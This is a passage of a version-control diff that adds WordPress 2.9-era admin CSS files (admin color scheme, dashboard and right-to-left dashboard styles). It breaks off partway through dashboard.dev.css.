+table.widefat .spam a:hover, +#dashboard_recent_comments .delete a:hover, +#dashboard_recent_comments .trash a:hover +#dashboard_recent_comments .spam a:hover { + color: #f00; +} + +#pass-strength-result { + background-color: #eee; + border-color: #ddd !important; +} + +#pass-strength-result.bad { + background-color: #ffb78c; + border-color: #ff853c !important; +} + +#pass-strength-result.good { + background-color: #ffec8b; + border-color: #fc0 !important; +} + +#pass-strength-result.short { + background-color: #ffa0a0; + border-color: #f04040 !important; +} + +#pass-strength-result.strong { + background-color: #c3ff88; + border-color: #8dff1c !important; +} + +/* editors */ +#quicktags { + border-color: #dfdfdf; + background-color: #dfdfdf; +} + +#ed_toolbar input { + border-color: #C3C3C3; +} + +#ed_toolbar input:hover { + border-color: #aaa; + background: #ddd; +} + +#poststuff .wp_themeSkin .mceStatusbar { + border-color: #EDEDED; +} + +#poststuff #edButtonPreview, +#poststuff #edButtonHTML { + background-color: #f1f1f1; + border-color: #dfdfdf; + color: #999; +} + +#poststuff #editor-toolbar .active { + border-bottom-color: #e9e9e9; + background-color: #e9e9e9; + color: #333; +} + +/* TinyMCE */ +#post-status-info { + background-color: #EDEDED; +} + +.wp_themeSkin *, +.wp_themeSkin a:hover, +.wp_themeSkin a:link, +.wp_themeSkin a:visited, +.wp_themeSkin a:active { + color: #000; +} + +/* Containers */ +.wp_themeSkin iframe { + background: #fff; +} + +/* Layout */ +.wp_themeSkin .mceStatusbar { + color: #000; + background-color: #f5f5f5; +} + +/* Button */ +.wp_themeSkin .mceButton { + background-color: #e9e8e8; + border-color: #B2B2B2; +} + +.wp_themeSkin a.mceButtonEnabled:hover, +.wp_themeSkin a.mceButtonActive, +.wp_themeSkin a.mceButtonSelected { + background-color: #d5d5d5; + border-color: #777 !important; +} + +.wp_themeSkin .mceButtonDisabled { + border-color: #ccc !important; +} + +/* ListBox */ +.wp_themeSkin .mceListBox .mceText, +.wp_themeSkin .mceListBox .mceOpen { + border-color: #B2B2B2; + background-color: #d5d5d5; +} + +.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, +.wp_themeSkin .mceListBoxHover .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceText { + border-color: #777 !important; + background-color: #d5d5d5; +} + +.wp_themeSkin table.mceListBoxEnabled:hover .mceText, +.wp_themeSkin .mceListBoxHover .mceText { + border-color: #777 !important; +} + +.wp_themeSkin select.mceListBox { + border-color: #B2B2B2; + background-color: #fff; +} + +/* SplitButton */ +.wp_themeSkin .mceSplitButton a.mceAction, +.wp_themeSkin .mceSplitButton a.mceOpen { + border-color: #B2B2B2; +} + +.wp_themeSkin .mceSplitButton a.mceOpen:hover, +.wp_themeSkin .mceSplitButtonSelected a.mceOpen, +.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction, +.wp_themeSkin .mceSplitButton a.mceAction:hover { + background-color: #d5d5d5; + border-color: #777 !important; +} + +.wp_themeSkin .mceSplitButtonActive { + background-color: #B2B2B2; +} + +/* ColorSplitButton */ +.wp_themeSkin div.mceColorSplitMenu table { + background-color: #ebebeb; + border-color: #B2B2B2; +} + +.wp_themeSkin .mceColorSplitMenu a { + border-color: #B2B2B2; +} + +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors { + border-color: #fff; +} + +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover { + border-color: #0A246A; + background-color: #B6BDD2; +} + +.wp_themeSkin a.mceMoreColors:hover { + border-color: #0A246A; +} + +/* Menu */ +.wp_themeSkin .mceMenu { + border-color: #ddd; +} + +.wp_themeSkin .mceMenu table { + background-color: #ebeaeb; +} + +.wp_themeSkin .mceMenu .mceText { + color: #000; +} + +.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover, +.wp_themeSkin .mceMenu .mceMenuItemActive { + background-color: #f5f5f5; +} +.wp_themeSkin td.mceMenuItemSeparator { + background-color: #aaa; +} +.wp_themeSkin .mceMenuItemTitle a { + background-color: #ccc; + border-bottom-color: #aaa; +} +.wp_themeSkin .mceMenuItemTitle span.mceText { + color: #000; +} +.wp_themeSkin .mceMenuItemDisabled .mceText { + color: #888; +} + +.wp_themeSkin tr.mceFirst td.mceToolbar { + background: #dfdfdf url("../images/ed-bg.gif") repeat-x scroll left top; + border-color: #dfdfdf; +} + +.wp-admin #mceModalBlocker { + background: #000; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft { + background: #444444; + border-left: 1px solid #999; + border-top: 1px solid #999; + -moz-border-radius: 4px 0 0 0; + -webkit-border-top-left-radius: 4px; + -khtml-border-top-left-radius: 4px; + border-top-left-radius: 4px; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight { + background: #444444; + border-right: 1px solid #999; + border-top: 1px solid #999; + border-top-right-radius: 4px; + -khtml-border-top-right-radius: 4px; + -webkit-border-top-right-radius: 4px; + -moz-border-radius: 0 4px 0 0; +} + +.wp-admin .clearlooks2 .mceMiddle .mceLeft { + background: #f1f1f1; + border-left: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceMiddle .mceRight { + background: #f1f1f1; + border-right: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom { + background: #f1f1f1; + border-bottom: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceLeft { + background: #f1f1f1; + border-bottom: 1px solid #999; + border-left: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceCenter { + background: #f1f1f1; + border-bottom: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceRight { + background: #f1f1f1; + border-bottom: 1px solid #999; + border-right: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop span { + color: #e5e5e5; +} +/* end TinyMCE */ + +#editorcontainer, +#post-status-info, +#titlediv #title, +.editwidget .widget-inside { + border-color: #dfdfdf; +} + +#titlediv #title { + background-color: #fff; +} + +#tTips p#tTips_inside { + background-color: #ddd; + color: #333; +} + +#timestampdiv input, +#namediv input, +#poststuff .inside .the-tagcloud { + border-color: #ddd; +} + +/* menu */ +#adminmenu * { + border-color: #e3e3e3; +} + +#adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px; +} + +.folded #adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px; +} + +#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, +#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits.gif) no-repeat scroll left -207px; +} + +#adminmenu .wp-has-submenu:hover .wp-menu-toggle, +#adminmenu .wp-menu-open .wp-menu-toggle { + background: transparent url(../images/menu-bits.gif) no-repeat scroll left -109px; +} + +#adminmenu a.menu-top { + background: #f1f1f1 url(../images/menu-bits.gif) repeat-x scroll left -379px; +} + +#adminmenu .wp-submenu a { + background: #FFFFFF url(../images/menu-bits.gif) no-repeat scroll 0 -310px; +} + +#adminmenu .wp-has-current-submenu ul li a { + background: none; +} + +#adminmenu .wp-has-current-submenu ul li a.current { + background: url(../images/menu-dark.gif) top left no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, +#adminmenu .menu-top .current { + background: #6d6d6d url(../images/menu-bits.gif) top left repeat-x; + border-color: #6d6d6d; + color: #fff; + text-shadow: rgba(0,0,0,0.4) 0px -1px 0px; +} + +#adminmenu li.wp-has-current-submenu .wp-submenu, +#adminmenu li.wp-has-current-submenu ul li a { + border-color: #aaa !important; +} + +#adminmenu li.wp-has-current-submenu ul li a { + background: url(../images/menu-dark.gif) bottom left no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu ul { + border-bottom-color: #aaa; +} + +#adminmenu li.menu-top .current:hover { + border-color: #B5B5B5; +} + +#adminmenu .wp-submenu .current a.current { + background: transparent url(../images/menu-bits.gif) no-repeat scroll 0 -289px; +} + +#adminmenu .wp-submenu a:hover { + background-color: #EAF2FA !important; + color: #333 !important; +} + +#adminmenu .wp-submenu li.current, +#adminmenu .wp-submenu li.current a, +#adminmenu .wp-submenu li.current a:hover { + color: #333; + background-color: #f5f5f5; + background-image: none; + border-color: #e3e3e3; + text-shadow: rgba(255,255,255,1) 0px 1px 0px; +} + +#adminmenu .wp-submenu ul { + background-color: #fff; +} + +.folded #adminmenu li.menu-top, +#adminmenu .wp-submenu .wp-submenu-head { + background-color: #F1F1F1; +} + +.folded #adminmenu li.wp-has-current-submenu, +.folded #adminmenu li.menu-top.current { + background-color: #e6e6e6; +} + +#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head { + background-color: #EAEAEA; + border-color: #aaa; +} + +#adminmenu div.wp-submenu { + background-color: transparent; +} + +/* menu icons */ +#adminmenu #menu-dashboard div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -61px -33px; +} + +#adminmenu #menu-dashboard:hover div.wp-menu-image, +#adminmenu #menu-dashboard.wp-has-current-submenu div.wp-menu-image, +#adminmenu #menu-dashboard.current div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -61px -1px; +} + +#adminmenu #menu-posts div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -272px -33px; +} + +#adminmenu #menu-posts:hover div.wp-menu-image, +#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -272px -1px; +} + +#adminmenu #menu-media div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -121px -33px; +} + +#adminmenu #menu-media:hover div.wp-menu-image, +#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -121px -1px; +} + +#adminmenu #menu-links div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -91px -33px; +} + +#adminmenu #menu-links:hover div.wp-menu-image, +#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -91px -1px; +} + +#adminmenu #menu-pages div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -151px -33px; +} + +#adminmenu #menu-pages:hover div.wp-menu-image, +#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -151px -1px; +} + +#adminmenu #menu-comments div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -31px -33px; +} + +#adminmenu #menu-comments:hover div.wp-menu-image, +#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image, +#adminmenu #menu-comments.current div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -31px -1px; +} + +#adminmenu #menu-appearance div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -1px -33px; +} + +#adminmenu #menu-appearance:hover div.wp-menu-image, +#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -1px -1px; +} + +#adminmenu #menu-plugins div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -181px -33px; +} + +#adminmenu #menu-plugins:hover div.wp-menu-image, +#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -181px -1px; +} + +#adminmenu #menu-users div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -301px -33px; +} + +#adminmenu #menu-users:hover div.wp-menu-image, +#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -301px -1px; +} + +#adminmenu #menu-tools div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -211px -33px; +} + +#adminmenu #menu-tools:hover div.wp-menu-image, +#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -211px -1px; +} + +#adminmenu #menu-settings div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -241px -33px; +} + +#adminmenu #menu-settings:hover div.wp-menu-image, +#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu.png") no-repeat scroll -241px -1px; +} +/* end menu */ + + +/* Diff */ +table.diff .diff-deletedline { + background-color: #ffdddd; +} + +table.diff .diff-deletedline del { + background-color: #ff9999; +} + +table.diff .diff-addedline { + background-color: #ddffdd; +} + +table.diff .diff-addedline ins { + background-color: #99ff99; +} + +#att-info { + background-color: #E4F2FD; +} + +/* edit image */ +#sidemenu a { + background-color: #f9f9f9; + border-color: #f9f9f9; + border-bottom-color: #dfdfdf; +} + +#sidemenu a.current { + background-color: #fff; + border-color: #dfdfdf #dfdfdf #fff; + color: #D54E21; +} + +#screen-options-wrap, +#contextual-help-wrap { + background-color: #f1f1f1; + border-color: #dfdfdf; +} + +#screen-meta-links a.show-settings { + color: #606060; +} + +#screen-meta-links a.show-settings:hover { + color: #000; +} + +#replysubmit { + background-color: #f1f1f1; + border-top-color: #ddd; +} + +#replyerror { + border-color: #ddd; + background-color: #f9f9f9; +} + +#edithead, +#replyhead { + background-color: #f1f1f1; +} + +#ed_reply_toolbar { + background-color: #e9e9e9; +} + +/* table vim shortcuts */ +.vim-current, +.vim-current th, +.vim-current td { + background-color: #E4F2FD !important; +} + +/* Install Plugins */ +.star-average, +.star.star-rating { + background-color: #fc0; +} + +div.star.select:hover { + background-color: #d00; +} + +#plugin-information .fyi ul { + background-color: #eaf3fa; +} + +#plugin-information .fyi h2.mainheader { + background-color: #cee1ef; +} + +#plugin-information pre, +#plugin-information code { + background-color: #ededff; +} + +#plugin-information pre { + border: 1px solid #ccc; +} + +/* inline editor */ +.inline-edit-row fieldset input[type="text"], +.inline-edit-row fieldset textarea, +#bulk-titles, +#replyrow input { + border-color: #ddd; +} + +.inline-editor div.title { + background-color: #EAF3FA; +} + +.inline-editor ul.cat-checklist { + background-color: #FFFFFF; + border-color: #ddd; +} + +.inline-editor .categories .catshow, +.inline-editor .categories .cathide { + color: #21759b; +} + +.inline-editor .quick-edit-save { + background-color: #f1f1f1; +} + +#replyrow #ed_reply_toolbar input:hover { + border-color: #aaa; + background: #ddd; +} + +fieldset.inline-edit-col-right .inline-edit-col { + border-color: #dfdfdf; +} + +.attention { + color: #D54E21; +} + +.meta-box-sortables .postbox:hover .handlediv { + background: transparent url(../images/menu-bits.gif) no-repeat scroll left -111px; +} + +#major-publishing-actions { + background: #eaf2fa; +} + +.tablenav .tablenav-pages { + color: #555; +} + +.tablenav .tablenav-pages a { + border-color: #e3e3e3; + background: #eee url('../images/menu-bits.gif') repeat-x scroll left -379px; +} + +.tablenav .tablenav-pages a:hover { + color: #d54e21; + border-color: #d54321; +} + +.tablenav .tablenav-pages a:active { + color: #fff !important; +} + +.tablenav .tablenav-pages .current { + background: #dfdfdf; + border-color: #d3d3d3; +} + +#availablethemes, +#availablethemes td { + border-color: #ddd; +} + +#current-theme img { + border-color: #999; +} + +#TB_window #TB_title a.tb-theme-preview-link, +#TB_window #TB_title a.tb-theme-preview-link:visited { + color: #999; +} + +#TB_window #TB_title a.tb-theme-preview-link:hover, +#TB_window #TB_title a.tb-theme-preview-link:focus { + color: #ccc; +} + +.misc-pub-section { + border-bottom-color: #eee; +} + +#minor-publishing { + border-bottom-color: #ddd; +} + +#post-body .misc-pub-section { + border-right-color: #eee; +} + +.post-com-count span { + background-color: #bbb; +} + +.form-table .color-palette td { + border-color: #fff; +} + +.sortable-placeholder { + border-color: #bbb; + background-color: #f5f5f5; +} + +#post-body ul#category-tabs li.tabs a { + color: #333; +} + +#wp_editimgbtn, +#wp_delimgbtn, +#wp_editgallery, +#wp_delgallery { + border-color: #999; + background-color: #eee; +} + +#wp_editimgbtn:hover, +#wp_delimgbtn:hover, +#wp_editgallery:hover, +#wp_delgallery:hover { + border-color: #555; + background-color: #ccc; +} + +#favorite-first { + background: #797979 url(../images/fav.png) repeat-x left center; + border-color: #777 !important; + border-bottom-color: #666 !important; +} + +#favorite-inside { + border-color: #797979; + background-color: #797979; +} + +#favorite-toggle { + background: transparent url(../images/fav-arrow.gif) no-repeat 0 -4px; +} + +#favorite-actions a { + color: #ddd; +} + +#favorite-actions a:hover { + color: #fff; +} + +#favorite-inside a:hover { + text-decoration: underline; +} + +#favorite-actions .slide-down { + border-bottom-color: #626262; +} + +#screen-meta a.show-settings { + background-color: transparent; + text-shadow: rgba(255,255,255,0.7) 0 1px 0; +} + +#icon-edit, +#icon-post { + background: transparent url(../images/icons32.png) no-repeat -552px -5px; +} + +#icon-index { + background: transparent url(../images/icons32.png) no-repeat -137px -5px; +} + +#icon-upload { + background: transparent url(../images/icons32.png) no-repeat -251px -5px; +} + +#icon-link-manager, +#icon-link, +#icon-link-category { + background: transparent url(../images/icons32.png) no-repeat -190px -5px; +} + +#icon-edit-pages, +#icon-page { + background: transparent url(../images/icons32.png) no-repeat -312px -5px; +} + +#icon-edit-comments { + background: transparent url(../images/icons32.png) no-repeat -72px -5px; +} + +#icon-themes { + background: transparent url(../images/icons32.png) no-repeat -11px -5px; +} + +#icon-plugins { + background: transparent url(../images/icons32.png) no-repeat -370px -5px; +} + +#icon-users, +#icon-profile, +#icon-user-edit { + background: transparent url(../images/icons32.png) no-repeat -600px -5px; +} + +#icon-tools, +#icon-admin { + background: transparent url(../images/icons32.png) no-repeat -432px -5px; +} + +#icon-options-general { + background: transparent url(../images/icons32.png) no-repeat -492px -5px; +} + +.view-switch #view-switch-list { + background: transparent url(../images/list.png) no-repeat 0 0; +} + +.view-switch #view-switch-list.current { + background: transparent url(../images/list.png) no-repeat -40px 0; +} + +.view-switch #view-switch-excerpt { + background: transparent url(../images/list.png) no-repeat -20px 0; +} + +.view-switch #view-switch-excerpt.current { + background: transparent url(../images/list.png) no-repeat -60px 0; +} + +#header-logo { + background: transparent url(../images/wp-logo.gif) no-repeat scroll center center; +} + +#wphead #site-visit-button { + background-color:#585858; + background-image: url(../images/visit-site-button-grad.gif); + color:#aaa; + text-shadow: #3F3F3F 0 -1px 0; +} + +#wphead a:hover #site-visit-button { + color:#fff; +} + +#wphead a:focus #site-visit-button, +#wphead a:active #site-visit-button { + background-position:0 -27px; +} + +.popular-tags, +.feature-filter { + background-color: #FFFFFF; + border-color: #DFDFDF; +} + +#theme-information .action-button { + border-top-color: #DFDFDF; +} + +.theme-listing br.line { + border-bottom-color: #ccc; +} + +div.widgets-sortables, +#widgets-left .inactive { + background-color: #f1f1f1; + border-color: #ddd; +} + +#available-widgets .widget-holder { + background-color: #fff; + border-color: #ddd; +} + +#widgets-left .sidebar-name { + background-color: #aaa; + background-image: url(../images/ed-bg.gif); + text-shadow: #FFFFFF 0 1px 0; + border-color: #dfdfdf; +} + +#widgets-right .sidebar-name { + background-image: url(../images/fav.png); + text-shadow: #3f3f3f 0 -1px 0; + background-color: #636363; + border-color: #636363; + color: #fff; +} + +.sidebar-name:hover, +#removing-widget { + color: #d54e21; +} + +#removing-widget span { + color: black; +} + +#widgets-left .sidebar-name-arrow { + background: transparent url(../images/menu-bits.gif) no-repeat scroll left -109px; +} + +#widgets-right .sidebar-name-arrow { + background: transparent url(../images/fav-arrow.gif) no-repeat scroll 0 -1px; +} + +.in-widget-title { + color: #606060; +} + +.deleting .widget-title * { + color: #aaa; +} + +.imgedit-menu div { + border-color: #d5d5d5; + background-color: #f1f1f1; +} + +.imgedit-menu div:hover { + border-color: #c1c1c1; + background-color: #eaeaea; +} + +.imgedit-menu div.disabled { + border-color: #ccc; + background-color: #ddd; + filter: alpha(opacity=50); + opacity: 0.5; +} + +#dashboard_recent_comments div.undo { + border-top-color: #dfdfdf; +} + +.comment-ays, +.comment-ays th { + border-color: #ddd; +} + +.comment-ays th { + background-color: #f1f1f1; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/dashboard-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/dashboard-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,93 @@ +#dashboard-widgets-wrap .has-sidebar { + margin-right: 0; + margin-left: -51%; +} +#dashboard-widgets-wrap .has-sidebar .has-sidebar-content { + margin-right: 0; + margin-left: 51%; +} +.view-all { + right: auto; + left: 0; +} +#dashboard_right_now p.sub, #dashboard-widgets h4, #dashboard_quick_press h4, a.rsswidget, #dashboard_plugins h4, #dashboard_plugins h5, #dashboard_recent_comments .comment-meta .approve { + font-family: Tahoma, Arial; +} +#dashboard_right_now td.b { + padding-right: 0; + padding-left: 6px; + text-align: left; + font-family: Tahoma, Arial; +} +#dashboard_right_now .t { + padding-right: 0; + padding-left: 12px; +} +#dashboard_right_now .versions a { + font-family: Tahoma, Arial; +} +#dashboard_right_now a.button { + float: left; + clear: left; +} +#dashboard-widgets h3 .postbox-title-action { + right: auto; + left: 30px; +} +#the-comment-list .pingback { + padding-left: 0 !important; + padding-right: 9px !important; +} +/* Recent Comments */ +#the-comment-list .comment-item { + padding: 1em 70px 1em 10px; +} +#the-comment-list .comment-item .avatar { + float: right; + margin-left: 0; + margin-right: -60px; +} +/* Feeds */ +.rss-widget cite { + text-align: left; +} +.rss-widget span.rss-date { + font-family: Tahoma, Arial; + margin-left: 0; + margin-right: 3px; +} +/* QuickPress */ +#dashboard_quick_press h4 { + float: right; + text-align: left; +} +#dashboard_quick_press h4 label { + margin-right: 0; + margin-left: 10px; +} +#dashboard_quick_press .input-text-wrap, #dashboard_quick_press .textarea-wrap { + margin: 0 5em 1em 0; +} +#dashboard_quick_press #media-buttons { + margin: 0 5em .5em 0; + padding: 0 10px 0 0; +} +#dashboard-widgets #dashboard_quick_press form p.submit { + margin-left: 0; + margin-right: 4.6em; +} +#dashboard-widgets #dashboard_quick_press form p.submit input { + float: right; +} +#dashboard-widgets #dashboard_quick_press form p.submit #save-post { + margin: 0 10px 0 1em; +} +#dashboard-widgets #dashboard_quick_press form p.submit #publish { + float: left; +} +/* Recent Drafts */ +#dashboard_recent_drafts h4 abbr { + font-family: Tahoma, Arial; + margin-left:0; + margin-right: 3px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/dashboard.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/dashboard.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +.postbox p,.postbox ul,.postbox ol,.postbox blockquote,#wp-version-message{font-size:11px;}.edit-box{display:none;}h3:hover .edit-box{display:inline;}form .input-text-wrap{border-style:solid;border-width:1px;padding:2px 3px;border-color:#ccc;}#dashboard-widgets form .input-text-wrap input{border:0 none;outline:none;margin:0;padding:0;width:99%;color:#333;}form .textarea-wrap{border-style:solid;border-width:1px;padding:2px;border-color:#ccc;}#dashboard-widgets form .textarea-wrap textarea{border:0 none;padding:0;outline:none;width:99%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none;}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit input{margin:0;}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0;}div.postbox div.inside{margin:10px;position:relative;}#dashboard-widgets a{text-decoration:none;}#dashboard-widgets h3 a{text-decoration:underline;}#dashboard-widgets h3 .postbox-title-action{position:absolute;right:30px;padding:0;}#dashboard-widgets h4{font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-size:13px;margin:0 0 .2em;padding:0;}#dashboard_right_now p.sub,#dashboard_right_now .table,#dashboard_right_now .versions{margin:-12px;}#dashboard_right_now .inside{font-size:12px;}#dashboard_right_now p.sub{font-style:italic;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;padding:5px 10px 15px;color:#777;font-size:13px;}#dashboard_right_now .table{background:#f9f9f9;border-top:#ececec 1px solid;border-bottom:#ececec 1px solid;margin:0 -9px 10px;padding:0 10px;}#dashboard_right_now table{width:100%;}#dashboard_right_now table td{border-top:#ececec 1px solid;padding:3px 0;white-space:nowrap;}#dashboard_right_now table tr.first td{border-top:none;}#dashboard_right_now td.b{padding-right:6px;text-align:right;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-size:14px;}#dashboard_right_now td.b a{font-size:18px;}#dashboard_right_now td.b a:hover{color:#d54e21;}#dashboard_right_now .t{font-size:12px;padding-right:12px;padding-top:6px;color:#777;}#dashboard_right_now .t a{white-space:nowrap;}#dashboard_right_now td.first,#dashboard_right_now td.last{width:1%;}#dashboard_right_now .spam{color:red;}#dashboard_right_now .waiting{color:#e66f00;}#dashboard_right_now .approved{color:green;}#dashboard_right_now .versions{padding:6px 10px 12px;}#dashboard_right_now .versions .b{font-weight:bold;}#dashboard_right_now a.button{float:right;clear:right;position:relative;top:-5px;}#dashboard_recent_comments h3{margin-bottom:0;}#dashboard_recent_comments .inside{margin-top:0;}#dashboard_recent_comments .comment-meta .approve{font-style:italic;font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;font-size:10px;}#the-comment-list{position:relative;}#the-comment-list .comment-item{padding:1em 10px;border-top:1px solid;}#the-comment-list .pingback{padding-left:9px!important;}#the-comment-list .comment-item,#the-comment-list #replyrow{margin:0 -10px;}#the-comment-list .comment-item:first-child{border-top:none;}#the-comment-list .comment-item .avatar{float:left;margin:0 10px 5px 0;}#the-comment-list .comment-item h4{line-height:1.4;margin-top:-.2em;font-weight:normal;color:#999;}#the-comment-list .comment-item h4 cite{font-style:normal;font-weight:normal;}#the-comment-list .comment-item blockquote,#the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline;}#dashboard_recent_comments #the-comment-list .trackback blockquote,#dashboard_recent_comments #the-comment-list .pingback blockquote{display:block;}#the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:10px;}#dashboard_quick_press h4{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;float:left;width:5.5em;clear:both;font-weight:normal;text-align:right;padding-top:5px;font-size:12px;}#dashboard_quick_press h4 label{margin-right:10px;}#dashboard_quick_press .input-text-wrap,#dashboard_quick_press .textarea-wrap{margin:0 0 1em 5em;}#dashboard_quick_press #media-buttons{margin:0 0 .5em 5em;padding:0 0 0 10px;font-size:11px;}#dashboard_quick_press #media-buttons a{vertical-align:bottom;}#dashboard-widgets #dashboard_quick_press form p.submit{margin-left:4.6em;}#dashboard-widgets #dashboard_quick_press form p.submit input{float:left;}#dashboard-widgets #dashboard_quick_press form p.submit #save-post{margin:0 1em 0 10px;}#dashboard-widgets #dashboard_quick_press form p.submit #publish{float:right;}#dashboard_recent_drafts ul{margin:0;padding:0;list-style:none;}#dashboard_recent_drafts ul li{margin-bottom:.6em;}#dashboard_recent_drafts h4{font-weight:normal;}#dashboard_recent_drafts h4 abbr{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;font-size:11px;color:#999;margin-left:3px;}#dashboard_recent_drafts p{margin:0;padding:0;}.rss-widget ul{margin:0;padding:0;list-style:none;}a.rsswidget{font-size:13px;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;line-height:1.7em;}.rss-widget ul li{line-height:1.5em;margin-bottom:12px;}.rss-widget span.rss-date{margin-left:3px;}.rss-widget cite{display:block;text-align:right;margin:0 0 1em;padding:0;}.rss-widget cite:before{content:'\2014';}#dashboard_plugins h4{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;}#dashboard_plugins h5{font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-size:13px!important;margin:0;display:inline;line-height:1.4em;}#dashboard_plugins h5 a{font-weight:normal;line-height:1.7em;}#dashboard_plugins p{margin:0 0 1.4em;line-height:1.4em;}.dashboard-comment-wrap{overflow:hidden;word-wrap:break-word;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/dashboard.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/dashboard.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,394 @@ +.postbox p, .postbox ul, .postbox ol, .postbox blockquote, #wp-version-message { font-size: 11px; } + +.edit-box { + display: none; +} + +h3:hover .edit-box { + display: inline; +} + +form .input-text-wrap { + border-style: solid; + border-width: 1px; + padding: 2px 3px; + border-color: #ccc; +} + +#dashboard-widgets form .input-text-wrap input { + border: 0 none; + outline: none; + margin: 0; + padding: 0; + width: 99%; + color: #333; +} + +form .textarea-wrap { + border-style: solid; + border-width: 1px; + padding: 2px; + border-color: #ccc; +} + +#dashboard-widgets form .textarea-wrap textarea { + border: 0 none; + padding: 0; + outline: none; + width: 99%; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#dashboard-widgets .postbox form .submit { + float: none; + margin: .5em 0 0; + padding: 0; + border: none; +} + +#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit input { + margin: 0; +} + +#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish { + min-width: 0; +} + +div.postbox div.inside { + margin: 10px; + position: relative; +} + +#dashboard-widgets a { + text-decoration: none; +} + +#dashboard-widgets h3 a { + text-decoration: underline; +} + +#dashboard-widgets h3 .postbox-title-action { + position: absolute; + right: 30px; + padding: 0; +} + +#dashboard-widgets h4 { + font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + font-size: 13px; + margin: 0 0 .2em; + padding: 0; +} + +/* Right Now */ + +#dashboard_right_now p.sub, +#dashboard_right_now .table, #dashboard_right_now .versions { + margin: -12px; +} + +#dashboard_right_now .inside { + font-size: 12px; +} + +#dashboard_right_now p.sub { + font-style: italic; + font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + padding: 5px 10px 15px; + color: #777; + 